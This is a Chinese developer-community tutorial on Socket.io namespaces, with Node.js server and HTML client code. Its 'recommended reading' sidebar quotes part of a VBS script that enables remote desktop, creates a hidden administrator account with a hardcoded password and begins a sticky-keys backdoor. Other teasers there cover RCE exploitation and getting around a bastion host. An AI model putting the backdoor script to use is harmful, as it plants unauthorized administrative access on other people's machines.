Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Socket.io进阶-命名空间的使用

Socket.io进阶-命名空间的使用

原创
作者头像
挥刀北上
修改于 2021-02-03 10:03:52
修改于 2021-02-03 10:03:52
1.5K00
代码可运行
举报
文章被收录于专栏:Node.js开发Node.js开发
运行总次数:0
代码可运行

使用socket.io搭建服务器可以使用命名空间,每个命名空间类似于一个独立的管道。

先看一下服务器代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
const express = require('express');
const http = require('http');
const Io = require('socket.io');

const app = express();
app.use(express.static("./"))
const server = http.Server(app);
const socketServer = Io(server);
server.listen(3000);

let socketServerA = socketServer.of('/a');
//添加命名空间a
socketServerA.on('connection', (socket) => {
    //监听a的连接事件
    socket.on('disconnect', () => {
        //监听用户断开事件
        console.log("用户" + socket.id + "断开连接");
    });

    console.log("用户" + socket.id + "连接");

    socket.on('msg', (data) => {
        //监听msg事件(这个是自定义的事件)
        console.log(data);//你好服务器,我是通过a的命名空间发送的信息
        socket.emit('msg', '你好浏览器,我收到了你的信息');
        //向socket用户发送信息
    })
})

let socketServerB = socketServer.of('/b');
//添加命名空间b
socketServerB.on('connection', (socket) => {
    //监听b的连接事件
    socket.on('disconnect', () => {
        //监听用户断开事件
        console.log("用户" + socket.id + "断开连接");
    });

    console.log("用户" + socket.id + "连接");

    socket.on('msg', (data) => {
        //监听msg事件(这个是自定义的事件)
        console.log(data);//你好服务器,我是通过b的命名空间发送的信息
        socket.emit('msg', '你好浏览器,我收到了你的信息1');
        //向socket用户发送信息
    })
})

阅读源码我们按照前面介绍的socket.io搭建websocket服务器的方法,在这里我们并没有直接用socektServer直接监听connection时间,而是通过websocketServer的of方法对其进行了空间命名,我的理解是将一间房子打了隔断,改成了两间房子。

后面的使用基本一样。

前端代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
<!-- <script crossorigin="anonymous"
    integrity="sha512-ZqQWGugamKhlSUqM1d/HMtwNG+hITmd/ptoof91lt5ojFZ+2bKlkvlzkmnDIrnikDY+UDVZVupLf6MNbuhtFSw=="
    src="https://lib.baomitu.com/socket.io/3.1.0/socket.io.min.js"></script> -->
<script src="/socket.io/socket.io.js"></script>
<script>
    let SocketA = io.connect('http://localhost:3000/a');
    //与a命名空间建立连接
    let SocketB = io.connect('http://localhost:3000/b');
    //同理

    SocketA.emit('msg', '你好服务器,我是通过b的命名空间发送的信息');
    //自定义msg事件,发送‘你好服务器’字符串向服务器
    SocketA.on('msg', (data) => {
        //监听浏览器通过msg事件发送的信息
        console.log(data);//你好浏览器,我收到了你的信息1
    });

    SocketB.emit('msg', '你好服务器,我是通过b的命名空间发送的信息');
    //自定义msg事件,发送‘你好服务器’字符串向服务器
    SocketB.on('msg', (data) => {
        //监听浏览器通过msg事件发送的信息
        console.log(data);//你好浏览器,我收到了你的信息2
    });
</script>
</body>
</html>

前端代码我们分别有io函数连接不通过空间的websocektserver从而得到对应的socket,这样就达到了空间命名的作用。

以上便是socket.io的空间命名的使用,主要是后端of方法的使用和前端连接是追加路径从而连接不同的socket,希望对你有所帮助。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
3389 Windows 远程端口修改工具
https://pan.baidu.com/s/1Rt3ZFXY0sOD5okeb9VI3_A
Windows技术交流
2019/12/23
6.6K0
windows系统修改远程登陆端口号(无需重启)
原理 注册表修改端口号后,重启TermService服务生效 方法 编写bat文件如下,执行,11111修改自己需要的端口号即可 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t reg_dword /d 11111 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\C
路过君
2022/09/23
1.3K0
Windows默认端口修改
打开: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 将portnumber修改为指定的端口
用户6792968
2022/08/30
4.6K0
Windows默认端口修改
一键修改微软远程桌面的端口
市面上有众多远程控制软件,他们有个好处是可以穿透内网,而如果你有公网ip或者会配置穿透的话,建议还是用微软自带的远程桌面连接工具rdp,流畅度和效果体验是最佳的。rdp默认端口是3389,直接暴露在外网的话容易有安全风险,因此一般建议修改该默认端口为其他端口。
六月河
2023/06/26
3580
海外服务器端口不通怎么解
1 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] 双击右边 PortNumber——点十进制——更改值为:33899 —— 点确定。
乡村小男孩
2019/09/27
6.6K0
干货 |RCE漏洞原理及利用演示(远程代码执行)
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
网络安全自修室
2022/12/06
2K0
干货 |RCE漏洞原理及利用演示(远程代码执行)
DOS查找Windows远程桌面的端口
DOS查找Windwos远程桌面端口 方法一 查看是否开启了远程桌面服务: net start | findstr "Terminal Services" 如果Windows打开了远程桌面,可以先查看
渗透攻击红队
2019/11/19
2.5K0
如何绕过堡垒机远程登录
假设一个场景:在Webshell中执行mimikatz获取到win管理员密码,并且本地查看端口3389是开放的,可是从当前跳板机无法远程到目标机器。因为某个特定需求,一定要远程登录到这台win服务器,这时该怎么办?
Bypass
2020/08/17
3.2K0
修改远程桌面连接端口
一般Web服务器放在公网上以后,有些为了方便远程操作,所以打开了远程桌面连接。这样是很不安全的,黑客在扫描到服务器开启了3389端口以后很多都是利用这个端口发起攻击。为了降低风险而又想使用远程桌面连接,一个比较简单的方法就是修改远程桌面链接的3389端口。
深蓝studyzy
2022/06/16
7.9K0
RCE(远程命令/代码执行漏洞)原理及复现
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
行云博客
2020/08/17
9.7K0
vbs远程木马_vbs 访问webservice
大家好,又见面了,我是你们的朋友全栈君。 xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本+提权VBS 整理收集 2010年12月07日   xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本   vbson error resume next   const HKEY_LOCAL_MACHINE = &H80000002   strComputer = “.”   Set StdOut = WScript.StdOut   Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_   strComputer & “\root\default:StdRegProv”)   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server”   oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp”   oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp”   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server”   strValueName = “fDenyTSConnections”   dwValue = 0   oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp”   strValueName = “PortNumber”   dwValue = 3389   oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp”   strValueName = “PortNumber”   dwValue = 3389   oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue   on error resume next   dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=”HackEr”:password=”393214425″:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK”):os=”WinNT://”&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&”/Administrators,group”):Set od=ob.Create(“user”,username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&”/”&username&”,user”):oe.Add(of.ADsPath)’wscript.echo of.ADsPath   On Error Resume Next   Dim obj, success   Set obj = CreateObject(“WScript.Shell”)   success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cm
全栈程序员站长
2022/09/29
2.4K0
实战 | 记一次站库分离的内网渗透
WEB服务器,但是首页只有一个IIS 7的欢迎界面,所以先看一下端口顺便扫个目录。
HACK学习
2021/04/26
2.5K1
实战 | 记一次站库分离的内网渗透
windows远程桌面管理软件默认端口修改
    很多黑客用软件每天都在扫描开放了3389端口的服务器,为了让自己的服务器减少受到黑客攻击的机会,大多数站长都会选择修改掉这个默认的3389端口。
it妹
2019/10/15
3.1K0
3389服务器远程端口修改怎么操作
  今天在服务器端的攻击防护日志中看到3389端口被攻击了,查了一下3389是服务器远程端口,是服务器远程连接的默认端口,很多黑客都针对这个端口进行扫描,那如果修改远程连接的端口呢?这个远程连接端口可以直接从注册表进行修改。修改两个地方。①、先选择开始-->运行,输入regedit,点击确认,打开注册表,然后找到路径[HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\Control\Tenninal Server\WinStations\RDP-Tcp],到PortNa
ytkah
2018/03/06
27.4K12
2012R2远程过段时间就自动断开的解决方案
我测试了Windows Server2008R2、2012R2、2016、2019、2022、2025远程连接,其他几个都稳定远程不断开,只有2012R2过段时间就自动断开,给出的msg是"连接已断开,原因(2308,0)"
Windows技术交流
2025/01/16
3880
事件ID20499、事件ID10010、事件ID10016,远程不上
顾名(EVENT_RPCSS_SERVER_START_TIMEOUT)思义(RPCSS服务超时)
Windows技术交流
2021/06/23
4K0
win server 软件修改默认端口工具简介
windows server的服务器远程桌面默认端口号是3389,在工作中经常使用远程桌面连接服务器,但是这也是常常被黑客利用的端口号,但是如何修改掉默认端口,预防被黑客利用呢?
it妹
2019/08/20
2.3K0
怎样改服务器端口_云服务器改端口_服务器端口在哪改
iis7服务器监控工具是直接修改端口“3389”为其他端口,为防止他人进行恶意的连接或是需要多个连接时,就需要对默认端口进行更改。
it妹
2019/08/15
18.2K0
远程桌面无法登录,服务开了,系统防火墙也关了,怎么回事?
苏州本地某教育连锁机构报修,有台Window服务器无法远程桌面了,客户一时不知如何是好,临时跑到机房装了个Todesk软件来远程,但是终究没有远程桌面来得方便。
IT狂人日志
2022/12/08
1.3K0
远程桌面无法登录,服务开了,系统防火墙也关了,怎么回事?
横向渗透之 [RDP]
也可以通过reg配置文件的方式启动:regedit /s startrdp.reg
重生信息安全
2020/03/06
2.5K0
推荐阅读
相关推荐
3389 Windows 远程端口修改工具
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验